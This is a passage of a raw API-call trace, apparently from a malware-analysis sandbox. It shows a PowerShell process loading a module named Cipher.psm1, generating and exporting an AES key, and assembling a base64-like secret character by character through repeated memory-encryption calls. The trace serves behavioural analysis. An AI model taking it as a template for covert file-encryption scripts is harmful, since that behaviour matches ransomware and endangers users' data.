lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.029] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.029] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.029] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.030] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396e78) returned 1 [0128.030] CryptGenKey (in: hProv=0x4396e78, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e849b8) returned 1 [0128.031] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.031] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.031] CryptExportKey (in: hKey=0x8e849b8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69794b0, pdwDataLen=0x99ae7f8 | out: pbData=0x69794b0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.031] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.031] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.031] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.031] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.031] SysStringLen (param_1="") returned 0x8 [0128.031] SysStringLen (param_1="M") returned 0x8 [0128.031] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.032] SysStringLen (param_1="\x385\x43ad\xb60c\x20d6\xd539\xcf64\x2319\x25b0") returned 0x8 [0128.032] SysStringLen (param_1="\x385\x43ad\xb60c\x20d6\xd539\xcf64\x2319\x25b0") returned 0x8 [0128.032] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.032] SysStringLen (param_1="MT") returned 0x8 [0128.032] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.032] SysStringLen (param_1="\xc251\xb17e\x28a1\x687a\x2541\x5f93\x7d3\xd589") returned 0x8 [0128.032] SysStringLen (param_1="\xc251\xb17e\x28a1\x687a\x2541\x5f93\x7d3\xd589") returned 0x8 [0128.032] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.032] SysStringLen (param_1="MTz") returned 0x8 [0128.032] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.032] SysStringLen (param_1="嵀⤊麶腁塚ꨂ") returned 0x8 [0128.032] SysStringLen (param_1="嵀⤊麶腁塚ꨂ") returned 0x8 [0128.032] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.032] SysStringLen (param_1="MTzq") returned 0x8 [0128.032] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.032] SysStringLen (param_1="\xf8f1\xe4b8\xeb24\xdd3d\xa9b7\xe10a\x2c18\x796b") returned 0x8 [0128.032] SysStringLen (param_1="\xf8f1\xe4b8\xeb24\xdd3d\xa9b7\xe10a\x2c18\x796b") returned 0x8 [0128.032] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.033] SysStringLen (param_1="MTzqW") returned 0x8 [0128.033] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.033] SysStringLen (param_1="\x1fe8\xd769\x151a\xc63\xc427\x84f1\x13ae\xa448") returned 0x8 [0128.033] SysStringLen (param_1="\x1fe8\xd769\x151a\xc63\xc427\x84f1\x13ae\xa448") returned 0x8 [0128.033] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.033] SysStringLen (param_1="MTzqWO") returned 0x8 [0128.033] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.033] SysStringLen (param_1="\xc804\xb3ee\xa79a\xfed4\x937a\x8607\xf72c\xee99") returned 0x8 [0128.033] SysStringLen (param_1="\xc804\xb3ee\xa79a\xfed4\x937a\x8607\xf72c\xee99") returned 0x8 [0128.033] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.033] SysStringLen (param_1="MTzqWOX") returned 0x8 [0128.033] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.033] SysStringLen (param_1="ᡛ⤝縉㙃롮猝앢") returned 0x8 [0128.033] SysStringLen (param_1="ᡛ⤝縉㙃롮猝앢") returned 0x8 [0128.033] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.033] SysStringLen (param_1="MTzqWOXD") returned 0x8 [0128.033] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.034] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730") returned 0x8 [0128.034] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730") returned 0x8 [0128.034] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730") returned 0x8 [0128.034] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730") returned 0x10 [0128.034] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.034] SysStringLen (param_1="MTzqWOXDd밢褨㣒矣") returned 0x10 [0128.034] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.034] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x6b74\x22a7\x1ef4\xe751\x9e19\x7306\x9c96\xc294") returned 0x10 [0128.034] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x6b74\x22a7\x1ef4\xe751\x9e19\x7306\x9c96\xc294") returned 0x10 [0128.034] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.034] SysStringLen (param_1="MTzqWOXDdJ褨㣒矣") returned 0x10 [0128.034] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.034] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x9bbc\x2ed5\x5a77\xb5e4\xa57f\x23b4\xb454\x93f0") returned 0x10 [0128.034] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x9bbc\x2ed5\x5a77\xb5e4\xa57f\x23b4\xb454\x93f0") returned 0x10 [0128.034] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.034] SysStringLen (param_1="MTzqWOXDdJ6褨㣒矣") returned 0x10 [0128.034] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.035] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x1be\x6145\xf601\x3c0\xe803\x1aee\xef\xaa8a") returned 0x10 [0128.035] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x1be\x6145\xf601\x3c0\xe803\x1aee\xef\xaa8a") returned 0x10 [0128.035] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.035] SysStringLen (param_1="MTzqWOXDdJ6Y褨㣒矣") returned 0x10 [0128.035] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.035] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\xaebf\x38b0\xe164\x9842\x68d1\x5df6\x7114\x1946") returned 0x10 [0128.035] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\xaebf\x38b0\xe164\x9842\x68d1\x5df6\x7114\x1946") returned 0x10 [0128.035] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.035] SysStringLen (param_1="MTzqWOXDdJ6Y1㣒矣") returned 0x10 [0128.035] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.035] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\xa5b8\x26aa\x4378\x9aa7\x43f3\x14cb\xbfa4\x991e") returned 0x10 [0128.035] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\xa5b8\x26aa\x4378\x9aa7\x43f3\x14cb\xbfa4\x991e") returned 0x10 [0128.035] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.036] SysStringLen (param_1="MTzqWOXDdJ6Y1H矣") returned 0x10 [0128.036] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.036] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\xddbe\xd86f\x5ee2\x7836\xce69\x6410\x693\x7f1f") returned 0x10 [0128.036] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\xddbe\xd86f\x5ee2\x7836\xce69\x6410\x693\x7f1f") returned 0x10 [0128.036] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.036] SysStringLen (param_1="MTzqWOXDdJ6Y1Ho矣") returned 0x10 [0128.036] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.036] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x9b94\x5954\x4af1\x5d3f\x237\xc287\xcf83\x68f") returned 0x10 [0128.036] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x9b94\x5954\x4af1\x5d3f\x237\xc287\xcf83\x68f") returned 0x10 [0128.036] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.036] SysStringLen (param_1="MTzqWOXDdJ6Y1HoS") returned 0x10 [0128.036] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.036] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc") returned 0x10 [0128.036] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc") returned 0x10 [0128.036] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc") returned 0x10 [0128.036] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc") returned 0x18 [0128.036] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.036] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV쌹㸗繇姈䫏흯") returned 0x18 [0128.036] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.037] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7f3f\xf61a\x2d34\xbda2\x5f72\x4ba4\xbb52\xc78b") returned 0x18 [0128.037] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7f3f\xf61a\x2d34\xbda2\x5f72\x4ba4\xbb52\xc78b") returned 0x18 [0128.037] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.037] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9㸗繇姈䫏흯") returned 0x18 [0128.037] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.037] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7ccc\xd6a9\xa128\xf245\xd2f7\x137b\x68e1\xde5d") returned 0x18 [0128.037] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7ccc\xd6a9\xa128\xf245\xd2f7\x137b\x68e1\xde5d") returned 0x18 [0128.037] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.037] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9x繇姈䫏흯") returned 0x18 [0128.037] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.037] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\xd072\x227\xacd9\x10d2\xa5f3\x12f5\x8622\x1f93") returned 0x18 [0128.037] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\xd072\x227\xacd9\x10d2\xa5f3\x12f5\x8622\x1f93") returned 0x18 [0128.037] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.037] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xn姈䫏흯") returned 0x18 [0128.037] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.037] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7338\x772d\x44b8\x5982\xd597\xd7b\xb5bf\x375f") returned 0x18 [0128.037] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7338\x772d\x44b8\x5982\xd597\xd7b\xb5bf\x375f") returned 0x18 [0128.037] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.038] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnW䫏흯") returned 0x18 [0128.038] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.038] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\xabb9\x2a77\x32f6\x215\xc609\x869f\x6f71\xe9e1") returned 0x18 [0128.038] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\xabb9\x2a77\x32f6\x215\xc609\x869f\x6f71\xe9e1") returned 0x18 [0128.038] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.038] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD흯") returned 0x18 [0128.038] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.038] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\xb3b9\xdc59\xd07b\x861a\x2341\xd90c\x8974\x3d20") returned 0x18 [0128.038] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\xb3b9\xdc59\xd07b\x861a\x2341\xd90c\x8974\x3d20") returned 0x18 [0128.038] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.038] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/흯") returned 0x18 [0128.038] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.038] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x9aa3\x9f5d\xc147\x685b\x3793\xb303\xa23e\xcd63") returned 0x18 [0128.038] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x9aa3\x9f5d\xc147\x685b\x3793\xb303\xa23e\xcd63") returned 0x18 [0128.038] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.038] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/C") returned 0x18 [0128.038] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.038] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351") returned 0x18 [0128.039] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351") returned 0x18 [0128.039] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351") returned 0x18 [0128.039] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351") returned 0x20 [0128.039] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.039] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJᝆ￨ꑺ譙譝펂") returned 0x20 [0128.039] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.039] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa7f3\xdbf6\xec3\x1f84\x9aeb\xd39e\x3732\xb305") returned 0x20 [0128.039] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xa7f3\xdbf6\xec3\x1f84\x9aeb\xd39e\x3732\xb305") returned 0x20 [0128.039] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.039] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtᝆ￨ꑺ譙譝펂") returned 0x20 [0128.039] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.039] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xdbec\xc019\x4e53\x2bd1\x9158\x3876\x776f\xb7ec") returned 0x20 [0128.039] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xdbec\xc019\x4e53\x2bd1\x9158\x3876\x776f\xb7ec") returned 0x20 [0128.039] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.039] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv￨ꑺ譙譝펂") returned 0x20 [0128.039] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.039] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\x3f90\x3bb8\x600a\x55b4\x542f\x3466\x83b1\x2bf7") returned 0x20 [0128.039] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\x3f90\x3bb8\x600a\x55b4\x542f\x3466\x83b1\x2bf7") returned 0x20 [0128.040] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.040] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/ꑺ譙譝펂") returned 0x20 [0128.040] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.040] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\x81b0\x5381\x309a\xa1e4\x43d2\x5626\x6946\xa77d") returned 0x20 [0128.040] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\x81b0\x5381\x309a\xa1e4\x43d2\x5626\x6946\xa77d") returned 0x20 [0128.040] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.040] SysStringLen (param_1="MTzqWOXDdJ6Y1HoSV9xnWD/CJtv/g譙譝펂") returned 0x20 [0128.040] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.040] SysStringLen (param_1="\x6ce4\xbc08\x9466\xd911\x4de8\x2c47\xb09a\x4730\x5fc3\xc313\x4d5f\x7f41\x9d08\x5e5a\xaeda\xe7bc\x7382\xe657\x640e\xfeee\x60ba\x9fcc\xcea6\xe351\xe685\xd689\x79dd\xe554\xd3d9\xabab\xdba7\x3d66") returned 0x20 [0128.040] SysStringLen 